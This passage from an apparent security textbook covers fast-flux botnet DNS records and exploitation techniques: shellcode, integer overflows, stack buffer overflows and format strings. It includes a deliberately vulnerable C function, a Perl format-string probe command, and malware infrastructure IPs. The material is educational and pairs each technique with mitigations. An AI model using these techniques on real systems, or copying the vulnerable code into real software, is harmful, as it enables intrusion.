mothership IP addresses. This configuration file is required for the 
hydra-flux infrastructure, as the IP addresses within the <S> tags 
instructed the infected computer to proxy requests to the motherships 
at these addresses.

Single-, double-, and hydra-flux all use the same techniques to 
evade detection and takedown, but each addresses weaknesses in its 
predecessor by adding a layer of complexity. The layers of complex-
ity prolong malicious campaigns by obscuring the true source of the 
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activity. Registrar domain takedown procedures are typically drawn 
out, but provide the most effective solution in stopping malicious 
activity related to fast-flux. New domains registered for fast-flux reuse 
the existing infrastructure and restart the takedown process in an 
endless cycle.

etyj.ru.

;; ANSWER SECTION:

Query for Asprox Domain etyj.ru

600 IN A 4.181.22.219

ns3.etyj.ru.

;; ANSWER SECTION:

Query for ns3.etyj.ru

30 IN A 74.194.66.226

ns3.etyj.ru. 30 IN A 75.11.10.101

ns3.etyj.ru. 30 IN A 75.36.88.74

ns3.etyj.ru. 30 IN A 76.94.189.96

ns3.etyj.ru. 30 IN A 76.240.151.177

ns3.etyj.ru. 30 IN A 24.140.10.22

ns3.etyj.ru. 30 IN A 24.247.215.75

ns3.etyj.ru. 30 IN A 64.91.14.107

ns3.etyj.ru. 30 IN A 64.205.9.114

ns3.etyj.ru. 30 IN A 67.85.69.196

ns3.etyj.ru. 30 IN A 68.4.124.142

ns3.etyj.ru. 30 IN A 68.21.40.232

ns3.etyj.ru. 30 IN A 68.109.161.115

ns3.etyj.ru. 30 IN A 68.197.137.239

30ns3.etyj.ru. IN A 68.205.248.186

;; AUTHORITY SECTION:

etyj.ru. 30 IN NS ns2.etyj.ru.

etyj.ru. 30 IN NS ns3.etyj.ru.

etyj.ru. 30 IN NS ns4.etyj.ru.

etyj.ru. 30 IN NS ns5.etyj.ru.

etyj.ru. 30 IN NS ns1.etyj.ru.

etyj.ru. 600 IN A 24.6.232.7

etyj.ru. 600 IN A 98.230.58.166

etyj.ru. 600 IN A 99.141.164.246

etyj.ru. 600 IN A 71.65.231.215

etyj.ru. 600 IN A 99.140.161.108

etyj.ru. 600 IN A 74.212.4.66

etyj.ru. 600 IN A 71.140.21.146

etyj.ru. 600 IN A 69.247.161.254

etyj.ru. 600 IN A 76.202.2.127

etyj.ru. 600 IN A 75.212.210.125

etyj.ru. 600 IN A 71.80.11.32

etyj.ru. 600 IN A 74.41.48.50

etyj.ru. 600 IN A 72.241.124.119

etyj.ru. 600 IN A 72.184.35.90

Exhibit 2-18 Asprox domain A and NS records.

<s>120.50.46.68
203.117.170.42

208.109.122.207
216.150.79.226

64.191.14.85
66.197.168.5

66.197.233.133
66.199.241.98

66.232.102.169
74.50.106.162</s>

Exhibit 2-19 Bot configuration file from a mothership.
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3
exploitation

3.1 Techniques to Gain a Foothold

3.1.1 Shellcode

The wide availability of shellcode, injectable binary code used to per-
form custom tasks within another process, makes it simple for even 
novice attackers to create highly reliable payloads for use after exploita-
tion. Initially, shellcode simply spawned a shell from another process; 
however, it is now used to perform a variety of custom tasks. This sec-
tion explains what shellcode is, how it works, and the threat it poses.

Malicious code comes in many forms, and ranges from standalone 
executables to injectable code. Varying in execution requirements, 
development techniques, and the resulting behavior, malice is the 
common motive. In this section, we focus on injectable code known 
as shellcode and explains what it is and how it works.

Shellcode is binary code used as the payload in exploitation of 
software vulnerabilities. The name shellcode originates from its ini-
tial intentions to spawn a shell within another process but has since 
evolved to define code that performs any custom tasks within another 
process.1 Written in the assembly language, shellcode passed through 
an assembler creates the binary machine code that the central process-
ing unit (CPU) can execute. When an attacker exploits a vulnerability 
in a specific process, the shellcode payload is executed seamlessly, act-
ing as if it were part of the original program.

The use of assembly as a low-level programming language instead 
of a compiled high-level programming language or interpreted script-
ing language makes shellcode operating system specific. Shellcodes 
typically do not port well between Linux, UNIX, and Windows plat-
forms due to the differences between system calls and the way these 
calls use the CPU.

Linux and UNIX operating systems are similar, as they both use 
system calls to allow processes to interact with the kernel. These system 
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calls allow shellcode to perform tasks, such as reading or writing to 
files, binding, and listening on sockets, with the same permissions as 
the original process into which the shellcode was injected. To perform 
a system call, the shellcode issues an interrupt (INT 0x80) with a 
syscall number to specify which function to perform. Syscall numbers 
are static and do not change between versions of Linux and UNIX 
kernels. Linux and UNIX use the same interrupt, but Linux puts the 
system call number and arguments into CPU registers before issuing 
the interrupt, while UNIX platforms push the system call number 
and arguments to the stack memory.2 Due to the differences in reg-
ister and stack usage during system calls, Linux and UNIX shellcode 
are not interchangeable; however, a shellcode developer can easily 
include runtime checks to determine the operating system based on 
the differences in system call semantics to create shellcode that runs 
in both Linux and UNIX environments. Windows uses a different set 
of syscall numbers, which renders Windows shellcode incompatible 
with Linux and UNIX kernels.

Windows operating systems include system calls, but the limited 
set of functions and the variance of syscall numbers between versions 
reduce the effectiveness and reliability of the shellcode. Windows pro-
vides an application programming interface (API) through the use of 
dynamically linked libraries (DLLs) for applications to interact with 
the kernel. Reliable shellcode typically locates kernel32.dll and uses 
the LoadLibraryA and GetProcAddress functions to access other 
DLLs for additional functionality. The functionality of the shellcode 
and loaded DLLs shares the same permissions of the victim process. 
Attackers use several different techniques to locate kernel32.dll for 
use within shellcode. The location of kernel32.dll is included within 
the process environment block (PEB), which is a structure that stores 
process information and can provide the location of kernel32.dll since 
it is always the second module initialized during process startup. 
Shellcode can search for the location of kernel32.dll within the module 
initialization order stored within the PEB. Another technique called 
structured error handling (SEH) scans through a process’ exception 
handlers to find the default unhandled exception handler as it points 
to a function within kernel32.dll. The shellcode looks for magic bytes, 
MZ, for the beginning of a portable executable and uses this location 
for kernel32.dll. Another method in obtaining kernel32.dll includes 
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walking the thread environment block (TEB) for the magic bytes MZ 
similar to the SEH approach. After locating kernel32.dll, the shell-
code needs to find the location of functions within the DLL. To find 
these functions, the shellcode queries the export directory and import 
address table for the virtual memory addresses (VMAs).3 Once found, 
these functions can provide the shellcode with access to a wide range 
of commands comparable to syscalls in Linux and UNIX.

Using system calls and platform APIs, customized shellcode 
injected into a process can perform virtually any actions on the com-
puter that the author desires. Shellcode development does have limita-
tions, however. Shellcode is dependent on a parent process and usually 
requires specific encoding to run successfully. In many cases, pro-
gramming functions copy shellcode into memory as a null-terminated 
string. These functions copy data into memory until reaching a NULL 
value and stop. A null-terminated string uses a NULL character to 
determine the end of the string, which requires the author to remove 
all NULL bytes from the shellcode to save the entire code to memory. 
To remove NULL bytes from the shellcode, the instructions that have 
hexadecimal values of 0x00 need alternative instructions that do not 
include nulls but perform the same functionality. Exhibit 3-1 shows 
an assembly instruction to move a value of zero into the CPU’s ebx 
register, which presents four NULL bytes in the byte representation. 
The NULL free version shows a comparable assembly instruction to 
set ebx to zero by performing an exclusive or on ebx with itself, and 
the byte representation shows zero NULL bytes.

Applications can also include input validation to limit copying 
nonalphanumeric ASCII characters into buffers. Nonalphanumeric 
characters are common within shellcode due to the hexadecimal 
values generated when using assembly commands. To circumvent 
these nonalphanumeric filters, the shellcode can use a limited set of 
assembly commands that carry hexadecimal values of 0x30–0x39, 

Assembly Instruction

Byte Representation

MOV EBX

0×BB

0×0

0×00000000

XOR EBX, EBX

Instruction Contains NULLs NULL Free Version

0x31DB

Exhibit 3-1 A NULL free optimized shellcode.
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0x41–0x5A, and 0x61–0x7A for the alphanumeric characters of 0–9, 
A–Z, and a–z.4 An author can develop shellcode using this limited set 
of commands to perform desired actions and still pass alphanumeric 
input validation. Exhibit 3-2 shows the assembly instructions to cre-
ate alphanumeric shellcode to set the CPU’s eax register to zero. The 
code has a hex value of 68 77 6f 72 64 58 35 77 6f 72 64, as seen in the 
byte representation, which translates to the ASCII representation of 
hwordX5word to pass alphanumeric filters.

Typically faced with size limitations, a programmer must develop 
shellcode that fits in the exploited process’ buffer to inject all of the 
shellcode into memory. If a shellcode cannot fit within the buffer, a 
stage-loaded shellcode can incorporate larger pieces of code stored 
elsewhere. The stub code of stage-loading shellcode, called stage 1, 
uses many different methods to locate the larger piece of code known 
as stage 2. One method reads and executes second-stage shellcode 
from a remote server by reusing the file descriptor created by the oper-
ating system for the inbound connection to inject the initial shellcode. 
Another method uses an egghunt strategy, which scans memory for 
a unique piece of the second-stage shellcode, known as an egg, and 
begins execution.

Typically, attackers use shellcode as the payload of an attack on a 
vulnerability. A successful attack on a vulnerability injects the payload 
into the targeted process, resulting in code execution. Buffer overflows 
are a common exploit technique using shellcode as a payload to exe-
cute code within the targeted process. A buffer is a segment of mem-
ory that can overflow by having more data assigned to the buffer than 
it can hold. Stack buffer overflows5 attempt to overwrite the original 
function return pointer stored in memory to point to the shellcode 
for the CPU to execute. No-operation-performed (NOP) instructions 
precede the first instruction in the shellcode to increase the reliability 
of the return pointer landing on the code. Known as a NOP sled, the 
NOP instructions tell the CPU to perform no operation and to move 

Assembly Instruction

ASCII Representation

PUSH

h

0×64726f77

word

POP EAX

X

0×64726f77

word

XOR EAX,

5

Exhibit 3-2 An alphanumeric shellcode.
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on to the next instruction, eventually executing the shellcode. Exhibit 
3-3 shows how a stack buffer overflow results in code execution.

There are many shellcode repositories on the Internet to aid an 
attacker in developing an attack payload. Sites such as milw0rm.com 
and metasploit.org contain shellcodes sorted by platform to perform 
a variety of actions ranging from downloading and executing files to 
sending a shell to a remote client. In addition to these repositories, 
there are a number of shellcode generators that convert code writ-
ten in a high-level programming language into injectable shellcode. 
For example, ShellForge is a shellcode generator that creates shellcode 
from code written in C and includes modules to create NULL free 
and alphanumeric shellcode.6 Metasploit also offers a shellcode gen-
erator that uses an intuitive interface to create customized shellcode 
for Windows, Linux, and UNIX platforms with multiple encoding 
modules available.7

Shellcode detection technologies include intrusion detection and 
prevention systems (IDSs/IPSs) and antivirus products. Network-
based IDS/IPS appliances use pattern-matching signatures to search 
packets traveling over the network for signs of shellcode. Most anti-
virus products offer pattern-matching signatures to detect shellcode 
within files on the local system. These pattern-matching signatures are 
prone to false positives and are evaded by encrypted shellcode. Some 
IDS/IPS appliances minimize evasion by involving x86 emulation 
technologies, such as libemu, to detect shellcode based on the behavior 
of executing instructions found in network traffic and local files.

Shellcode development continues to create ways to perform a vari-
ety of tasks after vulnerability exploitation. The malicious possibilities 
provided by shellcode allow attackers to expose information on a victim 

Buffer

No Operations
(NOPs)

Shellcode

Saved Return
Pointer

Exhibit 3-3 Shellcode execution in a stack buffer overflow.
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computer further. The public availability of shellcode and shellcode-
generating tools enables novice hackers with minimal knowledge of 
shellcode to use highly reliable payloads within attacks.

3.1.2 Integer Overflow Vulnerabilities

Resulting from insufficient input validation, integer overflows can 
cause high-severity vulnerabilities. Not to be confused with buffer 
overflows, integer errors are common and potentially severe.

A computer’s central processing unit (CPU) and memory repre-
sent integers. Software companies often supply these as input to their 
programs in binary formats. Integers might represent the size of a 
packet or length of a string, and applications frequently rely on them 
when making key decisions about how a program should proceed. If 
the program does not perform a sanity check on integers, unexpected 
and potentially dangerous consequences may result. In this section, 
we explain integers and how errors in integer operations may cause an 
integer to overflow.

The effect that integer overflows can have varies greatly depending 
on how the vulnerable application uses the integer. Integer overflows 
can lead to 100 percent use of CPU resources, denial of service (DoS) 
conditions, arbitrary code execution, and elevations of privileges. Like 
many vulnerabilities, integer overflows result when programmers do 
not consider the possibility of invalid inputs.

CPU registers cannot store integers with infinite values. Their max-
imum value depends on the width of the register in bits. Additionally, 
there are two types of integer representations: unsigned and signed. 
Unsigned integers represent only positive numbers, and signed inte-
gers can represent positive and negative numbers. An unsigned inte-
ger is positive or zero and includes the positive values 0 through 2n−1, 
where n represents the number of bits the CPU register can hold. An 
8-bit register width, therefore, has a maximum value representation 
of 28 − 1 = 255.

A signed integer, on the other hand, includes the negative values 
−2(n−1) through 2(n−1) − 1. For 8-bit signed integers, negative values have 
a minimum and maximum value range of −28 = −128 to 128 − 1 = 127. 
Most modern computers use two’s complement to represent signed inte-
gers. Converting a number to two’s complement is a two-step process. 
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First, the binary representation of the number is negated by inverting 
each of the bits. This format is known as one’s complement. The second 
step is to simply add one to the one’s complement, and the resulting 
value is the two’s complement form. Two’s complement representation 
is thus the result of adding one to a one’s complement representation 
of a negative integer.

Consider the transformation of −34 from one’s complement to 
two’s complement in Exhibit 3-4. In this example, 34 (00100010) is 
converted to −34 (11011110). The use of the two’s complement form 
to represent negative integers means that the most significant bit (the 
one furthest to the left) will always be a 1 if the number is negative. 
Because of this, that bit is often referred to as the sign bit.

An integer overflow occurs when an arithmetic operation produces 
a result larger than the maximum expected value. An integer that 
increases beyond its maximum value could result in a potential error 
condition that attackers may exploit. Integer overflow occurs in signed 
and unsigned integers. A signed overflow is the result of a value car-
ried over to the sign bit.

Exhibit 3-5 shows an example of an integer overflow in an 8-bit 
signed integer. The signed integer 126 (01111110) is incremented by 
1, producing the resulting value of 127 (01111111). Incrementing 127 
overwrites the sign bit, resulting in a negative value of −128 (10000000 
in binary) instead of a positive value of 128, as would occur if the inte-
ger was unsigned.

00100010

11011101

11011101 + 1

11011110

Exhibit 3-4 (Left) The decimal number 34 in binary is converted to its one’s complement by 
inverting each of the bits. (Right) 1 is added to the one’s complement representation, resulting in 
the two’s complement representation of −34.

126 01111110
127 01111111

–128 10000000
+1
+1

Exhibit 3-5 An 8-bit signed integer overflow.
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An unsigned overflow is the result of a value no longer represent-
ing a certain integer representation because it would require a larger 
register width. The unsigned integer “wraps around” when an over-
flow occurs. An unsigned integer wrap-around occurs when a pro-
gram receives a large input value that wraps the unsigned integer 
back to zero or a small positive number (see Exhibit 3-6).

Exploits take advantage of integer overflows indirectly. It is 
impossible to determine if an integer overflow has occurred without 
understanding the code’s underlying arithmetic context. An example 
of an integer overflow involves an arithmetic operation error using 
a C and C++ standard library function called malloc. malloc() is for 
allocating a block size of dynamic memory. An integer overflow can 
cause malloc() to allocate less memory than required. malloc(int 
size) takes a single integer as an argument that specifies how much 
memory the function should allocate for the buffer it creates. The 
arithmetic operation error typically occurs before the call to mal-
loc(), and the result of the operation is used in the call to malloc(). 
Consider this example code in which multiplication and malloc() 
are involved:

char *expand_string(char *string, size_t length) {
char *strresult = (char *)malloc(length*2+1);
strcpy(strresult, string);
}

This function takes one string and then copies it to a buffer that is 
larger than the original string to make space for additional characters. 
In the second line, the code takes the length input, multiplies it by 
two, and adds one before calling malloc() to allocate the specified 
amount of memory. If an attacker controls the value of the parameter 
length and sets it to 0x80000000 (2,147,483,648 in decimal), an inte-
ger overflow will occur as malloc(0x80000000*2+1) becomes mal-
loc(1). 0x80000000*2 returns 0 because the leftmost bit of the result 
shifts out of the value. Only one byte of memory was allocated, but 
all of the data in the input string will be copied to that buffer by the 

254 11111110
255 11111111

0 00000000
+1
+1

Exhibit 3-6 An 8-bit unsigned integer overflow.
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strcpy() function. This will result in a buffer overflow that an attacker 
could use to execute arbitrary code on the system.8

The vulnerable code is missing one step that programmers fre-
quently forget: input sanity checks. This function should include one 
additional step that ensures the input length value is not so large 
that it will overflow after the arithmetic operation is performed. 
Integer operation errors also include sign and truncation errors. In 
sign errors, the sign flaw occurs due to the ignoring of the sign bit 
in the conversion of an integer. In truncation errors, an integer value 
truncates while being cast to a data type with fewer bits. Consider 
the following example:

int i = -3;
unsigned short int j;
j = i; // j = 65533

First, the code declares i as an int (a signed integer type) and 
assigns it the value of −3. Next, it declares j as an unsigned short 
integer, a variable that can only represent positive integers. When a 
signed integer of a negative value converts to an unsigned integer of 
greater value, the most significant bit loses its function as a sign bit. 
The result is that j is not set to −3, but rather to 65,533, the unsigned 
representation of −3.

Most integer errors are type range errors, and proper type range 
checking can eliminate most of them. Many mitigation strategies are 
available that apply boundary checking on integer operations. Some 
of these include range checking, strong typing, compiler-generated 
runtime checks, and safe integer operations. Range checking involves 
validating an integer value to make sure that it is within a proper 
range before using it. A programmer could add a line in the code 
to check if the length of an integer is greater than 0 or less than the 
maximum length before going to the next line of code. This strategy 
is effective but relies on the programmer to make good choices when 
writing the potentially vulnerable function.

Strong typing involves using specific types, making it impossible to 
use a particular variable type improperly. A programmer can declare 
an integer as an unsigned char to guarantee that a variable does not 
contain a negative value and that its range is within 1 to 255. This 
strategy also relies on programmers to make good decisions when 
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choosing variable types. Compiler-generated runtime checks involve 
using compiler flags when compiling a program. These flags instruct 
the compiler to add additional code to the program that checks if an 
integer is going to overflow and will throw an error when this occurs. 
Unfortunately, these functions can also contain errors, as is the case 
with the GCC–ftrapv flag.9

Safe integer operations involve using safe integer libraries of pro-
gramming languages for operations where untrusted sources influence 
the inputs. SafeInt10 and RCSint classes are available for C++ and 
provide useful templates to help programmers avoid integer overflow 
vulnerabilities. These classes contain automatic checking of common 
operations that throw exceptions when overflows occur rather than 
silently failing. Integer overflows are most common in C and C++ 
programs. They can occur in other languages, but do so much less fre-
quently, since many languages do not allow low-level access to mem-
ory like C and C++. Some languages like Java, Lisp, and Ada provide 
runtime exceptions in cases that would lead to buffer overflows in C 
and C++. As of May 13, 2009, the National Vulnerability Database11 
reported forty-five CVE matching records for integer errors in the 
past three months and 333 matching records with high-severity rat-
ings for integer errors in the past three years. While not as common 
as buffer overflows, it is clear that integer overflows remain a common 
and severe threat.

3.1.3 Stack-Based Buffer Overflows

In this section, we will explore the concept of stack-based buffer over-
flows. At the core of any overflow is the lack of boundary consider-
ation. More precisely, overflows are the result of a finite-sized buffer 
receiving data that are larger than the allocated space. Stack-based 
buffer overflows are by far the most common type of overflow, as they 
are generally the easiest to exploit. To understand this, the reader must 
first understand the mechanics of the stack in Intel-based computers.

3.1.3.1 Stacks upon Stacks At a high level, the standard computer stack 
consists of an array of memory bytes that a programmer can access ran-
domly or through a series of pop-and-push commands. Computer sci-
entists classify stacks as last-in-first-out (LIFO) structures, meaning 
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that the last datum added (or “pushed”) to the stack is the first datum 
pulled (or “popped”) from the stack. In the Intel implementation of 
a stack and various other processor platforms, local functions use the 
stack for temporary variable storage, parameter passing, and code flow 
execution management. Exhibit 3-7 illustrates the typical layout for 
an Intel stack used to call a function and the called function.

The Intel x86 processor uses two special registers for stack man-
agement: the stack pointer (ESP) and the base pointer (EBP). The 
processor uses the stack pointer to specify the memory address of 
the last memory pushed onto the stack and the location to use when 
popping the next datum from the stack. While the size of the datum 
can be a byte, a word, a 32-bit DWORD, or a 64-bit QWORD value 
(for 64-bit processors), the most common convention is a DWORD 
stack access, since pointers and integers are typically 32 bits in size. 
The called function normally uses the base pointer to point to the 
original stack pointer location immediately after the function begins. 
Known as setting up a stack frame, the function uses the EBP to pro-
vide a fixed reference point by which it accesses the stack variables. 
The EBP becomes critical when using the stack frame, as the ESP 
floats with each push-and-pop off the stack from subsequent func-
tion calls (from the perspective of the original called function). After 
the function assigns the EBP and the value of ESP immediately after 
the function begins, the function will adjust ESP to accommodate 
the necessary memory space for local variables used by the function. 

Saved Base Ptr

Variable D

Variable C

Base Pointer

St
ac

k 
G

ro
w

th

Stack Pointer

Variable B Called Function’s
Stack Space

Calling Function’s
Stack Space

Variable A

Return Address

Calling Function’s
Stack Space

(Including Any Passed
Parameters)

Exhibit 3-7 A typical stack layout.
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This movement of the ESP will place the pointer at the end of the 
local variable data.

Once the calling function has completed, the function resets the 
stack pointer to the original location, as specified by the base pointer. 
The processor, upon seeing the “return” instruction that terminates 
the function, pops the return address from the stack, as pointed to by 
the ESP. The processor uses this address as the location of the next 
instruction to execute. This fact, alone, represents the major target of 
most stack-based buffer overflows.

3.1.3.2 Crossing the Line Stack-based buffer overflows occur when a 
function passes more data to a stack variable than the variable can 
hold. The objective in writing stack-based buffer overflows is to con-
trol the flow of code execution and execute potentially malicious code 
by adding more data than a variable can hold. The most common way 
this type of attack works is by finding a buffer on the stack that is close 
enough to the return address and attempting to place enough data in 
the buffer such that the attacker can overwrite the return address. If 
successful, the attacker can then influence the next instruction that 
the processor executes. As seen in Exhibit 3-8, an attacker has man-
aged to fill the buffer (Variable C) with a sufficiently large data stream 
so that the attacker has overwritten Variables A and B, the saved base 
pointer, and the return address with the attacker’s values. As a result, 
the processor uses the values specified in the original location of the 
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Exhibit 3-8 Overflowing a stack buffer to control the return address.
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return address upon the completion of the function. The processor, 
unaware of the data’s validity, will attempt to execute the instructions 
at this location. This allows the attacker who filled Variable C with 
the oversized data to directly influence the flow of code execution.

Simply filling a stack buffer with data and overwriting the return 
address are not enough for attackers to run arbitrary code on victims’ 
computers successfully. Controlling the return address is only one 
part of a successful stack-based buffer overflow. Attackers still need 
ways to run their own codes on victims’ computers. Many, if not all, 
attackers approach this problem by sending specially constructed data 
to the vulnerable buffer. Known as shell code, attackers construct the 
data sent to the vulnerable buffer such that the first portion of the data 
contains what attackers call a no-operation-performed (NOP) sled, 
which is an array of NOP instructions. This portion of the shellcode 
is optional, but allows attackers to miss their marks when effecting 
code execution. If attackers can get processors to execute malicious 
code somewhere within the NOP sled, those processors will not jump 
into the middle of valid instructions that can cause the flow of exe-
cution to deviate drastically from the attackers’ original intents. The 
actual malicious code follows the NOP sleds. Known as the payload 
of the shellcode, this section of data contains the malicious code that 
attackers desire to execute. The values for the return addresses follow 
the payload. Exhibit 3-9 displays the makeup of a typical shellcode 
data stream. A successful shellcode will allow attackers to control the 
return addresses and point the return addresses to memory locations 
that will allow those attackers to begin executing either instructions 

Malicious Instructions

Return Address

NOPs

Exhibit 3-9 Anatomy of a typical shellcode structure.
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in the NOP sleds (which then run into the first instruction of the pay-
load) or very specific bytes of the payloads. The results are, of course, 
the execution of arbitrary code on victims’ computers.

3.1.3.3 Protecting against Stack-Based Buffer Overflows Without excep-
tion, the root cause of any stack-based buffer overflow is the lack of 
bounds checking when accepting input. Buffers allocated on a stack 
are of finite, predetermined sizes, and as such, it is up to the program-
mer to ensure that the function copying data into them is within this 
size constraint. Generally, a program should validate any data taken 
from an external source (external from the perspective of the applica-
tion) for both size and content; user-supplied data should never be 
trusted outright.

Compilers have begun using an additional built-in technique to 
aid in protecting bad programmers from themselves when it comes to 
stack-based buffer overflows. Compilers, such as Microsoft’s Visual 
C++ 2005 and 2008, use a technique known as stack cookies to ensure 
that overflowed variables in a stack do not result in a processor using 
an invalid return address. The technique consists of placing a ran-
domized 32-bit value immediately before the return address on the 
stack. Before the function terminates, it compares the value on the 
stack to the original value from the start of the function. If the two 
values do not match, the program terminates due to a security viola-
tion. By preventing the function from returning, the processor never 
executes the modified return address, and as such, the malicious code 
does not execute.

Stack cookies do help mitigate the problems associated with stack-
based buffer overflows, but they do not provide an excuse for pro-
grammers to avoid secure programming techniques.12 Ultimately, it is 
the responsibility of the programmer to write secure code to prevent 
stack-based buffer overflows.

3.1.3.4 Addendum: Stack-Based Buffer Overflow Mitigation The previ-
ous section described how stack-based buffer overflows work. The 
mitigation section focused on tips for programmers to avoid writing 
code that contains these vulnerabilities but did not mention technolo-
gies designed to mitigate the threat that have recently been added to 
operating systems and computer hardware.
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Data execution prevention (DEP) is a feature built into mod-
ern processors, and which Windows can take advantage of to mark 
certain areas of memory (like the stack) as nonexecutable, making 
it much more difficult to exploit a buffer overflow. Certain third-
party software, like antivirus programs, also offer buffer overflow 
prevention (BOP) technology that performs a similar function by 
monitoring process memory and alerting the user when the proces-
sor executes memory that should only contain data. Address space 
layout randomization (ASLR) is a feature of Windows Vista and the 
Linux 2.6 kernel that makes the OS load system libraries in random 
locations each time the computer boots, making it more difficult to 
write shell code that can do something useful once the attacker has 
exploited overflow.

3.1.4 Format String Vulnerabilities

This section discusses vulnerabilities in the printf print formatting 
and similar functions. These vulnerabilities put the stack, a critical 
component of program execution, at risk for corruption. Despite this 
type of vulnerability being first reported in 2000, iDefense rarely sees 
exploit code using this type of vulnerability to install malicious code 
or compromise servers. Nevertheless, exploit developers release many 
format string vulnerabilities each year, and these vulnerabilities con-
tinue to present a threat to application security.

The printf C function (short for print-formatted output) normally 
prints output to the screen. It accepts a parameter that allows a 
programmer to specify how the function should attempt to inter-
pret the string. For example, the programmer may want to print the 
character A, the value of A as the number 65, or the hex representa-
tion of A, which is 0x41. For these reasons, printf() accepts its first 
parameter, format.

int printf(const char *format, ...)

The format is a string that accepts strings as %s, decimal numbers 
as %d, or hex values as %x. The %n format specifies an important 
component to exploit format string vulnerabilities because it allows 
the printf function to write to an arbitrary memory location with the 
number of bytes written so far. The “...” parameter is a way in the 
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C programming language to accept an unknown number of param-
eters using a va_list structure to store them. Normally, a compiler 
will compare the number of parameters that a function accepts to the 
function definition to prevent programming mistakes; however, the 
printf function and other similar functions accept different numbers 
of parameters depending upon the format string itself. Using only one 
parameter to printf can create a vulnerability if a user can influence 
that parameter. Again, the format parameter can accept many differ-
ent formats such as strings (%s), decimal numbers (%d), or hex values 
(%x). A legitimate call might look like this:

string = “hello”;
decimal = 1234;
printf(“%s : %d”, string, decimal); // Three 
parameters total

This would print out the following:

“hello : 1234”

To do this, the program pushes the parameters onto the stack before 
calling the printf function (see Exhibit 3-10).

Then, the printf function utilizes the %s : %d format to deter-
mine how many variables it should remove from the stack to popu-
late the values. To execute a simple attack, malicious actors compile 
a very simple C program, format_string_vulnerable, that accepts 
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command-line arguments and passes them directly to the format 
parameter as follows:

printf(input);

The command below uses Perl to print AAAA followed by a format 
string that instructs printf to show eight digits of precision in hex 
representation (%x) and to do this repeatedly.

$ ./format_string_vulnerable `perl –e ‘print “AAAA”; 
print “%.8x”x 100’`
AAAA.00000400.080485d0.bf930e66.
b7fec1b5.00000008.00000088.b7ff2ff4.bf92fe54.b7fec29c.
b7fd85fc.42fd8298.41414141.382e252e.2e252e78.252e7838.
2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.
78382e25.382e252e

By using the AAAA input (0x41414141 in hex above), the attacker 
can identify where in the stack the string is located and attempt to 
identify the value that represents the return address. The stack layout 
for this attack only supplies a format string and no additional param-
eters (see Exhibit 3-11).

Normally, the stack would contain a variable for each %.8x in the 
format string; however, in this attack, the format string will cause 
the function to begin utilizing other stack contents, and if there are 
enough % symbols in the format string, it will eventually disclose the 
location of the return address.

When the user can control the format parameter, he or she can 
specify a format that removes extra data from the stack in this man-
ner. It allows the user to view the contents of memory because he 
or she can specify any number of variables in the format string. The 
program may crash because, normally, printf() will push the same 
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Exhibit 3-11 A stack layout for a simple attack with a single format parameter to printf.
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number of items onto the stack as the number that it removes from 
the stack. Any data saved onto the stack no longer contain valid infor-
mation, including the base pointer and return address of the stack 
frame. The %n is a key component to gaining code execution through 
format string vulnerabilities because it allows an attacker not only 
to print data but also to write data to the stack. Using %n allows the 
attacker to take control of the base pointer or return address, thereby 
allowing him or her to jump to any address chosen. If the attacker 
specifies binary shellcode within his or her format string, and then 
overwrites the base pointer or return address to jump to that location, 
the attacker will gain arbitrary code execution. Exhibit 3-12 displays 
an example of an attack using a user-supplied format string.

In the attack shown in Exhibit 3-12, the attacker must print an 
exact number of bytes so that when he or she uses %n to overwrite the 
return address, it overwrites the return address with any address in 
the range of the NOP sled section. In this way, the entire executable 
code section of the user’s input will execute.

Format string vulnerabilities are as dangerous as buffer overflows 
or other remote code execution vulnerabilities. Attackers commonly 
release proof-of-concept code detailing how to exploit the vulnerabili-
ties. Przemysław Frasunek first disclosed this category of vulnerability 
in June, 2000, on the BugTraq mailing list and the report describ-
ing the attacks by Tim Newsham. Since its public disclosure, exploit 
developers have released many public exploits each year. Despite the 
availability of exploits, the iDefense Rapid-Response Team rarely 
encounters format string exploits that install malicious code or 
attempt to compromise servers. One historical instance is the Ramen 
Worm of January 2001, which used three vulnerabilities to spread, 
one of which was a format string vulnerability.13 Similarly, iDefense 
Managed Security Services rarely (if ever) encounters network alerts 
based upon format string vulnerabilities, despite the presence of many 
vulnerabilities and network-based rules to detect those attacks. Of 
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Exhibit 3-12 The format of user-supplied data to exploit a format string vulnerability.
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those alerts that mention a variation of format string in the messages, 
most are probes or attempts to gain information about the software 
rather than exploits that try to execute a malicious payload. While 
format strings are very dangerous, it is unclear why malicious code 
authors exploit other vulnerabilities so much more prevalently. One 
possible explanation is that format string attacks are more prevalent in 
open source software because attackers can audit the source code. As 
evidence, most of the historical format string vulnerabilities disclosed 
on the exploit site milw0rm.com is for open source software.

Fixing calls to printf() is easy if programmers can recompile the 
source code of a program. For example, to fix a dangerous call of the 
form printf(input), programmers must pass the input variable with a 
string (%s) format instead, such as printf(‘%s’, input). This prevents 
user input from affecting the format string; therefore, an attacker will 
be unable to affect the stack or other memory. Most compilers pro-
vide warnings to encourage good programming habits and prevent 
format string vulnerabilities. Additionally, checks at runtime can help 
prevent the abuse of format string vulnerabilities by verifying that an 
attacker did not corrupt the stack. Additionally, stack randomization 
and nonexecutable stacks make it more difficult for attackers to exe-
cute code reliably. Other vulnerable functions that utilize the va_list 
structure are more difficult to identify, but are easy for programmers to 
fix once they identify the vulnerabilities. Replacing the printf library 
and similarly vulnerable libraries to perform more runtime checking 
of parameters is a necessary step when managing all vulnerabilities of 
this form. Performing source code analysis can also identify vulner-
able calls because the pattern of function calls is easy to identify.

Printf vulnerabilities and format string vulnerabilities are a prob-
lem of communication between the API programmer who built the 
C libraries (and any other vulnerable functions) and the program-
mer who utilizes the library. To solve this problem effectively, either 
API programmers must sacrifice performance to perform additional 
runtime checks or programmers must always call functions properly. 
The stack is a vital component of program execution, and its corrup-
tion is at risk. Many functions in the printf family are vulnerable to 
this type of attack. Programmers should also evaluate other func-
tions that depend upon va_list structures because they can contain 
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vulnerabilities similar to format strings, depending upon their pur-
pose and implementation.

3.1.5 SQL Injection

This section looks at structured query language (SQL) injection 
attacks. These attacks, which result from failing to validate user 
inputs, have increased in prevalence in the past several years and now 
often target thousands of sites at a time. Attackers often use search 
engines to identify vulnerable sites, and then use SQL injection to 
alter the content of the site to include malicious IFrames, or otherwise 
download malicious code to Web surfers who visit the compromised 
sites. SQL injection is simple for attackers to conduct and for develop-
ers to protect against, often by using prepared statements or otherwise 
validating user-submitted strings.

One of the most common and dangerous vulnerabilities in Web 
applications is structured query language (SQL) injection. SQL injec-
tion is fundamentally an input validation error. These vulnerabilities 
occur when an application that interacts with a database passes data to 
an SQL query in an unsafe manner. The impact of a successful SQL 
